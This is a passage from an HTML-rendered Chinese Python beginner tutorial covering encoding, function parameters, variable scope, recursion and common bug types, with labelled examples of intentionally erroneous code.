class="line"><span class="comment">#编码</span></span><br><span class="line">print(s.encode(encoding = <span class="string">&#x27;GBK&#x27;</span>))<span class="comment">#GBK编码格式中，一个中文占两个字节</span></span><br><span class="line">print(s.encode(encoding = <span class="string">&#x27;UTF-8&#x27;</span>))<span class="comment">#UTF-8中，一个中文占三个字节</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#解码</span></span><br><span class="line">byte = s.encode(encoding = <span class="string">&#x27;GBK&#x27;</span>)<span class="comment">#编码</span></span><br><span class="line">print(byte.decode(encoding = <span class="string">&#x27;GBK&#x27;</span>))<span class="comment">#解码   byte代表的就是一个二进制数据（字节类型的数据）</span></span><br><span class="line"></span><br><span class="line">byte = s.encode(encoding = <span class="string">&#x27;UTF-8&#x27;</span>)<span class="comment">#编码</span></span><br><span class="line">print(byte.decode(encoding = <span class="string">&#x27;UTF-8&#x27;</span>))</span><br></pre></td></tr></table></figure><h1 id="十一-水晶球不调不动"><a class="markdownIt-Anchor" href="#十一-水晶球不调不动">#</a> 十一、水晶球不调不动</h1><h2 id="1-函数的创建和调用"><a class="markdownIt-Anchor" href="#1-函数的创建和调用">#</a> 1. 函数的创建和调用</h2><p>** 什么是函数？** 函数就是执行特定任务和完成特定功能的一段代码。</p><p>** 为什么需要函数？** 复用代码；隐藏实现细节；提高可维护性；提高可读性便于调试。</p><p><strong>函数的创建</strong>def 函数名（[输入参数]）：函数体[return  xxx]</p><p><strong>函数的调用</strong>函数名 ([实际参数])</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calc</span>(<span class="params">a,b</span>):</span><span class="comment">#a,b称为形式参数，简称形参，形参位置在函数的定义处</span></span><br><span class="line">c = a + b</span><br><span class="line">    <span class="keyword">return</span> c</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;位置实参传递&#x27;&#x27;&#x27;</span></span><br><span class="line">result = calc(<span class="number">10</span>,<span class="number">20</span>) <span class="comment">#10，20实际参数，简称实参，位置在函数的调用处</span></span><br><span class="line">print(result)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;关键字实参传递&#x27;&#x27;&#x27;</span></span><br><span class="line">res = calc(b = <span class="number">10</span>,a = <span class="number">20</span>)</span><br><span class="line">print(res)</span><br></pre></td></tr></table></figure><h2 id="2-函数调用的参数传递"><a class="markdownIt-Anchor" href="#2-函数调用的参数传递">#</a> 2. 函数调用的参数传递</h2><ul><li>位置实参：根据形参对应的位置进行实参传递</li><li>关键字实参：根据形参名称进行实参传递</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">arg1,arg2</span>):</span></span><br><span class="line">    print(<span class="string">&#x27;arg1&#x27;</span>,arg1)</span><br><span class="line">    print(<span class="string">&#x27;arg2&#x27;</span>,arg2)</span><br><span class="line">    arg1 = <span class="number">100</span></span><br><span class="line">    arg2.append(<span class="number">10</span>)</span><br><span class="line">    print(<span class="string">&#x27;arg1&#x27;</span>,arg1)</span><br><span class="line">    print(<span class="string">&#x27;arg2&#x27;</span>,arg2)</span><br><span class="line">    <span class="comment">#return</span></span><br><span class="line">n1 = <span class="number">11</span></span><br><span class="line">n2 = [<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>]</span><br><span class="line">print(<span class="string">&#x27;n1&#x27;</span>,n1)</span><br><span class="line">print(<span class="string">&#x27;n2&#x27;</span>,n2)</span><br><span class="line">fun(n1,n2)</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;n1&#x27;</span>,n1)</span><br><span class="line">print(<span class="string">&#x27;n2&#x27;</span>,n2)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;在函数的调用过程中，进行参数的传递，</span></span><br><span class="line"><span class="string">如果是不可变对象，在函数体的修改不会影响实参的值，arg1修改为100，不会影响n1的值</span></span><br><span class="line"><span class="string">如果是可变对象，在函数体内的修改会影响实参的值，arg2的修改.append(10)，会影响到n2的值&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><p>** 函数的返回值：** 函数返回多个值时，结果为元组。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="built_in">bool</span>(<span class="number">0</span>))<span class="comment">#False 零的布尔值为False</span></span><br><span class="line">print(<span class="built_in">bool</span>(<span class="number">1</span>))<span class="comment">#True 非零整数布尔值为True</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">num</span>):</span></span><br><span class="line">    odd = []<span class="comment">#村奇数</span></span><br><span class="line">    even = []<span class="comment">#存偶数</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> num:</span><br><span class="line">        <span class="keyword">if</span> i % <span class="number">2</span>:</span><br><span class="line">            odd.append(i)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            even.append(i)</span><br><span class="line">    <span class="keyword">return</span> odd,even</span><br><span class="line"><span class="comment">#函数的调用</span></span><br><span class="line">lst = [<span class="number">10</span>,<span class="number">29</span>,<span class="number">34</span>,<span class="number">23</span>,<span class="number">44</span>,<span class="number">53</span>,<span class="number">55</span>]</span><br><span class="line">print(fun(lst))</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;函数的返回值</span></span><br><span class="line"><span class="string">1.如果函数没有返回值（函数执行完毕后，不需要给调用处提供数据） return可以不写</span></span><br><span class="line"><span class="string">2.函数的返回值，如果是1个，直接返回类型</span></span><br><span class="line"><span class="string">3.函数的返回值，如果是多个，返回结果为元组&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun1</span>():</span></span><br><span class="line">    print(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">    <span class="comment">#return    </span></span><br><span class="line">fun1()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun2</span>():</span></span><br><span class="line">   <span class="keyword">return</span> <span class="string">&#x27;hello&#x27;</span></span><br><span class="line">res = fun2()</span><br><span class="line">print(res)</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun3</span>():</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span></span><br><span class="line">print(fun3())</span><br><span class="line">    </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;函数在定义时，是否需要返回值，视情况而定&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="3-函数的参数定义"><a class="markdownIt-Anchor" href="#3-函数的参数定义">#</a> 3. 函数的参数定义</h2><h3 id="1函数定义默认值参数"><a class="markdownIt-Anchor" href="#1函数定义默认值参数">#</a> （1）函数定义默认值参数</h3><p>函数定义时，给形参设置默认值，只有与默认值不符的时候才需要传递实参。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">a,b = <span class="number">10</span></span>):</span>    <span class="comment">#b默认值参数</span></span><br><span class="line">    print(a,b)</span><br><span class="line"><span class="comment">#函数的调用</span></span><br><span class="line">fun(<span class="number">100</span>)</span><br><span class="line">fun(<span class="number">20</span>,<span class="number">30</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># def print(self, *args, sep=&#x27;&#x27;, end=&#x27;\n&#x27;,file=None):</span></span><br><span class="line">print(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;world&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;hello&#x27;</span>,end = <span class="string">&#x27;\t&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;world&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2个数可变的位置参数"><a class="markdownIt-Anchor" href="#2个数可变的位置参数">#</a> （2）个数可变的位置参数</h3><p>定义函数时，可能无法事先确定传递的位置实参的个数时，使用可变的位置参数；使用 * 定义个数可变的位置形参；结果为一个元组。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">*args</span>):</span><span class="comment">#函数定义时 可变的位置参数</span></span><br><span class="line">    print(args)</span><br><span class="line">    print(args[<span class="number">0</span>])</span><br><span class="line">    </span><br><span class="line">fun(<span class="number">10</span>)</span><br><span class="line">fun(<span class="number">10</span>,<span class="number">30</span>)</span><br><span class="line">fun(<span class="number">30</span>,<span class="number">405</span>,<span class="number">50</span>)</span><br></pre></td></tr></table></figure><h3 id="3个数可变的关键字形参"><a class="markdownIt-Anchor" href="#3个数可变的关键字形参">#</a> （3）个数可变的关键字形参</h3><p>定义函数时，无法事先确定传递的关键字实参的个数时，使用可变的关键字形参；使用 ** 定义个数可变的关键字形参；结果为一个字典。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun1</span>(<span class="params">**args</span>):</span></span><br><span class="line">    print(args)</span><br><span class="line">    </span><br><span class="line">fun1(a = <span class="number">10</span>)</span><br><span class="line">fun1(a = <span class="number">20</span>,b=<span class="number">30</span>,c=<span class="number">40</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;def fun2(*args,*a):</span></span><br><span class="line"><span class="string">pass</span></span><br><span class="line"><span class="string">代码运行，程序报错，个数可变的位置参数，只能是一个</span></span><br><span class="line"><span class="string">def fun3(**args,**args):</span></span><br><span class="line"><span class="string">pass</span></span><br><span class="line"><span class="string">代码运行，程序报错，个数可变的关键字参数，只能是一个&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun2</span>(<span class="params">*args1,**args2</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;def fun3(**args1,*args2):</span></span><br><span class="line"><span class="string">pass</span></span><br><span class="line"><span class="string">在一个函数的定义过程中，既有个数可变的位置形参，也有个数可变的关键字形参，要求，个数可变的位置形参放在个数可变的关键字形参之前&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="4函数的参数总结"><a class="markdownIt-Anchor" href="#4函数的参数总结">#</a> （4）函数的参数总结</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">a,b,c</span>):</span></span><br><span class="line">    print(<span class="string">&#x27;a = &#x27;</span>,a)</span><br><span class="line">    print(<span class="string">&#x27;b = &#x27;</span>,b)</span><br><span class="line">    print(<span class="string">&#x27;c = &#x27;</span>,c)</span><br><span class="line"></span><br><span class="line"><span class="comment">#函数的调用</span></span><br><span class="line">fun(<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>)<span class="comment">#函数调用时的参数传递，称为位置传参</span></span><br><span class="line">lst = [<span class="number">11</span>,<span class="number">22</span>,<span class="number">33</span>]</span><br><span class="line">fun(*lst)<span class="comment">#在函数调用时，将列表中的每个元素都转换成位置实参传入</span></span><br><span class="line">print(<span class="string">&#x27;----------------&#x27;</span>)</span><br><span class="line">fun(a=<span class="number">100</span>,c=<span class="number">300</span>,b=<span class="number">200</span>)<span class="comment">#函数的调用，关键字实参</span></span><br><span class="line">dic = &#123;<span class="string">&#x27;a&#x27;</span>:<span class="number">111</span>,<span class="string">&#x27;b&#x27;</span>:<span class="number">222</span>,<span class="string">&#x27;c&#x27;</span>:<span class="number">333</span>&#125;</span><br><span class="line">fun(**dic)<span class="comment">#函数调用时，将字典中的键值对都转换成关键字实参传入</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">a,b=<span class="number">10</span></span>):</span><span class="comment">#b是在函数的定义处，所以是形参，而且进行了赋值，所以是默认值形参</span></span><br><span class="line">    print(<span class="string">&#x27;a=&#x27;</span>,a)</span><br><span class="line">    print(<span class="string">&#x27;b=&#x27;</span>,b)</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun2</span>(<span class="params">*args</span>):</span><span class="comment">#个数可变的位置形参</span></span><br><span class="line">print(args)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun3</span>(<span class="params">**args2</span>):</span><span class="comment">#个数可变的关键字形参</span></span><br><span class="line">    print(args2)</span><br><span class="line">   </span><br><span class="line">fun2(<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>)</span><br><span class="line">fun3(a=<span class="number">11</span>,b=<span class="number">22</span>,c=<span class="number">33</span>,d=<span class="number">44</span>,e=<span class="number">55</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun4</span>(<span class="params">a,b,c,d</span>):</span></span><br><span class="line">    print(<span class="string">&#x27;a=&#x27;</span>,a)</span><br><span class="line">    print(<span class="string">&#x27;b=&#x27;</span>,b)</span><br><span class="line">    print(<span class="string">&#x27;c=&#x27;</span>,c)</span><br><span class="line">    print(<span class="string">&#x27;d=&#x27;</span>,d)</span><br><span class="line"></span><br><span class="line"><span class="comment">#调用fun4函数</span></span><br><span class="line">fun4(<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>)<span class="comment">#位置实参传递</span></span><br><span class="line">fun4(a=<span class="number">10</span>,b=<span class="number">20</span>,c=<span class="number">30</span>,d=<span class="number">40</span>)<span class="comment">#关键字实参传递</span></span><br><span class="line">fun4(<span class="number">10</span>,<span class="number">20</span>,c=<span class="number">30</span>,d=<span class="number">40</span>)<span class="comment">#前两个参数，采用位置实参传递，后两个参数采用关键字实参传递</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;需求：c，d只能采用关键字实参传递&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment">#def fun4(a,b,*,c,d):从*之后的参数，在函数调用时，只能采用关键字参数传递</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;函数定义时的形参的顺序问题&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun5</span>(<span class="params">a,b,*,c,d,**args</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun6</span>(<span class="params">*args,**args2</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun7</span>(<span class="params">a,b=<span class="number">10</span>,*args,**args2</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><h2 id="4-变量的作用域"><a class="markdownIt-Anchor" href="#4-变量的作用域">#</a> 4. 变量的作用域</h2><p><strong>变量的作用域：<strong>程序代码能访问该变量的区域。根据变量的有效范围可以分为</strong>局部变量、全局变量。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    c = a+b<span class="comment">#c是局部变量，因为是在函数体内进行定义的；a，b为函数的形参，作用范围也是函数内部，相当于局部变量</span></span><br><span class="line">    print(c)</span><br><span class="line"><span class="comment">#print(c)，因为a，c超出了起作用的范围（超出了作用域）</span></span><br><span class="line"><span class="comment">#print(a)</span></span><br><span class="line"></span><br><span class="line">name =<span class="string">&#x27;杨老师&#x27;</span><span class="comment">#name作用范围为函数的内部和外部都可以使用，全局变量</span></span><br><span class="line">print(name)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun2</span>():</span></span><br><span class="line">    print(name)</span><br><span class="line"><span class="comment">#调用函数</span></span><br><span class="line">fun2()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun3</span>():</span></span><br><span class="line">    <span class="keyword">global</span> age<span class="comment">#函数内部定义的变量，局部变量；局部变量使用global声明之后，这个变量实际上就变成了全局变量</span></span><br><span class="line">    age = <span class="number">20</span></span><br><span class="line">    print(age)</span><br><span class="line">fun3()</span><br><span class="line">print(age)</span><br></pre></td></tr></table></figure><h2 id="5-递归函数"><a class="markdownIt-Anchor" href="#5-递归函数">#</a> 5. 递归函数</h2><p><strong>什么是递归函数？</strong></p><p>如果在一个函数的函数体内调用了该函数本身，这个函数就称为递归函数.</p><p><strong>递归函数的组成部分：</strong></p><p>递归调用条件与递归终止条件.</p><p><strong>递归的调用过程：</strong></p><p>每递归调用一次函数，都会在栈内存分配一个栈帧；每执行完一次函数，都会释放相应的空间.</p><p><strong>递归的优缺点：</strong></p><p>优点是思路和代码简单；缺点是占用内存多，效率低下.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;使用递归计算阶乘&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fac</span>(<span class="params">n</span>):</span></span><br><span class="line">    <span class="keyword">if</span> n == <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        res = n*fac(n-<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">return</span> res</span><br><span class="line">    </span><br><span class="line">print(fac(<span class="number">6</span>))</span><br></pre></td></tr></table></figure><h2 id="6-斐波那契数列"><a class="markdownIt-Anchor" href="#6-斐波那契数列">#</a> 6. 斐波那契数列</h2><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>F</mi><mi>n</mi></msub><mo>=</mo><msub><mi>F</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>F</mi><mrow><mi>n</mi><mo>−</mo><mn>2</mn></mrow></msub></mrow><annotation encoding="application/x-tex">F_{n}=F_{n - 1}+F_{n-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span></span></span></span></span></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fib</span>(<span class="params">n</span>):</span></span><br><span class="line">    <span class="keyword">if</span> n == <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">    <span class="keyword">elif</span> n == <span class="number">2</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> fib(n-<span class="number">1</span>) + fib(n-<span class="number">2</span>)</span><br><span class="line">    </span><br><span class="line"><span class="comment">#斐波那契数列第六位</span></span><br><span class="line">print(fib(<span class="number">6</span>))</span><br><span class="line"><span class="comment">#斐波那契数列前六位(循环操作用列表)</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">7</span>):</span><br><span class="line">    print(fib(i))</span><br></pre></td></tr></table></figure><h1 id="十二-全民来找茬"><a class="markdownIt-Anchor" href="#十二-全民来找茬">#</a> 十二、全民来找茬</h1><h2 id="1-bug的由来及分类"><a class="markdownIt-Anchor" href="#1-bug的由来及分类">#</a> 1. Bug 的由来及分类</h2><p>**Bug 的由来：** 世界上第一部万用计算机的进化版 - 马克 2 号（Mark Ⅱ）</p><p>**Debug：** 排除程序 bug</p><p><strong>Bug 的常见类型：</strong></p><ul><li><p>粗心导致的语法错误 SyntaxError</p>  <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">age = <span class="built_in">input</span>(<span class="string">&#x27;请输入你的年龄：&#x27;</span>)</span><br><span class="line">print(<span class="built_in">type</span>(age))</span><br><span class="line"><span class="keyword">if</span> age &gt;= <span class="number">18</span> :  <span class="comment">#if int(age) &gt;= 18:</span></span><br><span class="line">    print(<span class="string">&#x27;成年人...&#x27;</span>)</span><br><span class="line">    </span><br><span class="line"><span class="keyword">while</span> i &lt; <span class="number">10</span>:<span class="comment">#i没有初始值，括号为中文状态的，缺少i += 1使程序进入循环状态</span></span><br><span class="line">    <span class="built_in">print</span>（i）</span><br><span class="line">    </span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">    uname = <span class="built_in">input</span>(<span class="string">&#x27;请输入用户名：&#x27;</span>)</span><br><span class="line">    pwd = <span class="built_in">input</span>(<span class="string">&#x27;请输入密码：&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> uname = <span class="string">&#x27;admin&#x27;</span> <span class="keyword">and</span> pwd = <span class="string">&#x27;admin&#x27;</span>: <span class="comment">#一个 = 是赋值，两个 = 是比较</span></span><br><span class="line">        print(<span class="string">&#x27;登录成功！&#x27;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        print(<span class="string">&#x27;输入有误&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span> </span><br><span class="line">    print(<span class="string">&#x27;对不起，三次均输入错误&#x27;</span>)</span><br></pre></td></tr></table></figure><ul><li>漏了末尾的冒号，如 if 语句，循环语句，else 子句等</li><li>缩进错误</li><li>把英文符号写成中文符号，比如：冒号，引号，括号</li><li>字符串拼接时候，把字符串和数字拼在一起</li><li>没有定义变量，比如说 while 的循环条件的变量</li><li>== 比较运算符和 = 赋值运算符的混用</li></ul></li><li><p>知识点不熟练导致的错误</p><ul><li>索引越界问题 IndexError</li><li>append ( ) 方法的使用掌握不熟练</li></ul>  <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">lst = [<span class="number">11</span>,<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>]</span><br><span class="line">print(lst[<span class="number">4</span>]) <span class="comment">#IndexError lst索引从0开始</span></span><br><span class="line"></span><br><span class="line">lst = []</span><br><span class="line">lst = append(<span class="string">&#x27;A&#x27;</span>,<span class="string">&#x27;B&#x27;</span>,<span class="string">&#x27;C&#x27;</span>)</span><br><span class="line">print(lst)<span class="comment">#lst.append 且每次只能添加一个</span></span><br></pre></td></tr></table></figure></li><li><p>思路不清导致的问题</p><ul><li>使用 print () 函数</li><li>使用 “#” 暂时注释部分代码</li></ul>  <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 